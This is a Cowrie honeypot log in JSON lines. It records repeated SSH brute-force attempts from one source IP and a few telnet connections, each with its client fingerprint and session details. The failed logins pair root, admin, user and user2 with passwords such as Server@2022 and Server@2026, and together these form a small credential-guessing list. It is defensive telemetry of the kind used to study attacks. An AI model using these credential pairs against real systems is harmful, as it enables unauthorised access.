{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:45.099660Z","src_ip":"81.91.233.66","session":"8bd5243cbdb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64494,"dst_ip":"10.17.0.5","dst_port":22,"session":"6132ad8d08cd","protocol":"ssh","message":"New connection: 81.91.233.66:64494 (10.17.0.5:22) [session: 6132ad8d08cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:45.374819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:45.379268Z","src_ip":"81.91.233.66","session":"6132ad8d08cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:45.634228Z","src_ip":"81.91.233.66","session":"6132ad8d08cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2021","message":"login attempt [user/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:46.687539Z","src_ip":"81.91.233.66","session":"6132ad8d08cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:47.167953Z","src_ip":"81.91.233.66","session":"6132ad8d08cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9600f4259106","protocol":"ssh","message":"New connection: 81.91.233.66:64612 (10.17.0.5:22) [session: 9600f4259106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:47.437295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:47.440870Z","src_ip":"81.91.233.66","session":"9600f4259106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:47.696848Z","src_ip":"81.91.233.66","session":"9600f4259106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c32078c720","protocol":"telnet","message":"New connection: 94.23.66.112:33298 (10.17.0.5:23) [session: 53c32078c720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:48.215223Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2021","message":"login attempt [user2/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:48.754191Z","src_ip":"81.91.233.66","session":"9600f4259106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:49.238461Z","src_ip":"81.91.233.66","session":"9600f4259106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64726,"dst_ip":"10.17.0.5","dst_port":22,"session":"af4ca501bc47","protocol":"ssh","message":"New connection: 81.91.233.66:64726 (10.17.0.5:22) [session: af4ca501bc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:49.502280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:49.506011Z","src_ip":"81.91.233.66","session":"af4ca501bc47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:49.758215Z","src_ip":"81.91.233.66","session":"af4ca501bc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57582,"dst_ip":"159.203.135.109","dst_port":23,"session":"321f531d43e0","protocol":"telnet","message":"New connection: 170.64.224.25:57582 (159.203.135.109:23) [session: 321f531d43e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:50.620767Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2022","message":"login attempt [root/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:50.800391Z","src_ip":"81.91.233.66","session":"af4ca501bc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:51.283975Z","src_ip":"81.91.233.66","session":"af4ca501bc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64852,"dst_ip":"10.17.0.5","dst_port":22,"session":"647180dbdef8","protocol":"ssh","message":"New connection: 81.91.233.66:64852 (10.17.0.5:22) [session: 647180dbdef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:51.541906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:51.545607Z","src_ip":"81.91.233.66","session":"647180dbdef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:51.796347Z","src_ip":"81.91.233.66","session":"647180dbdef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:52.746448Z","src_ip":"8.210.75.243","session":"67761fbaaf67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2022","message":"login attempt [admin/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:52.818991Z","src_ip":"81.91.233.66","session":"647180dbdef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.317206382751465,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:52.914654Z","src_ip":"170.64.224.25","session":"625f8d437014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:53.310868Z","src_ip":"81.91.233.66","session":"647180dbdef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64981,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d7c7a524ec6","protocol":"ssh","message":"New connection: 81.91.233.66:64981 (10.17.0.5:22) [session: 0d7c7a524ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:53.580698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:53.585648Z","src_ip":"81.91.233.66","session":"0d7c7a524ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:53.838063Z","src_ip":"81.91.233.66","session":"0d7c7a524ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.32927751541138,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:54.453586Z","src_ip":"170.64.224.25","session":"f3bed275dfa9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2022","message":"login attempt [user/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:54.879266Z","src_ip":"81.91.233.66","session":"0d7c7a524ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:55.364880Z","src_ip":"81.91.233.66","session":"0d7c7a524ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1163,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe7fd18e6c1","protocol":"ssh","message":"New connection: 81.91.233.66:1163 (10.17.0.5:22) [session: bfe7fd18e6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:55.625180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:55.629844Z","src_ip":"81.91.233.66","session":"bfe7fd18e6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:55.878337Z","src_ip":"81.91.233.66","session":"bfe7fd18e6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2022","message":"login attempt [user2/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:56.906105Z","src_ip":"81.91.233.66","session":"bfe7fd18e6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:57.396719Z","src_ip":"81.91.233.66","session":"bfe7fd18e6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":65230,"dst_ip":"10.17.0.5","dst_port":22,"session":"81853722d1b9","protocol":"ssh","message":"New connection: 81.91.233.66:65230 (10.17.0.5:22) [session: 81853722d1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:57.654481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:57.658513Z","src_ip":"81.91.233.66","session":"81853722d1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:57.904493Z","src_ip":"81.91.233.66","session":"81853722d1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2026","message":"login attempt [root/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:58.920521Z","src_ip":"81.91.233.66","session":"81853722d1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:59.398890Z","src_ip":"81.91.233.66","session":"81853722d1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":65340,"dst_ip":"10.17.0.5","dst_port":22,"session":"18f93965c0e0","protocol":"ssh","message":"New connection: 81.91.233.66:65340 (10.17.0.5:22) [session: 18f93965c0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:59.674570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:59.678736Z","src_ip":"81.91.233.66","session":"18f93965c0e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:59.932579Z","src_ip":"81.91.233.66","session":"18f93965c0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2026","message":"login attempt [admin/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:00.981514Z","src_ip":"81.91.233.66","session":"18f93965c0e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:01.463598Z","src_ip":"81.91.233.66","session":"18f93965c0e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":65450,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd516cf93f50","protocol":"ssh","message":"New connection: 81.91.233.66:65450 (10.17.0.5:22) [session: cd516cf93f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:01.718997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:01.723795Z","src_ip":"81.91.233.66","session":"cd516cf93f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:01.972377Z","src_ip":"81.91.233.66","session":"cd516cf93f50","protocol":"ssh"}
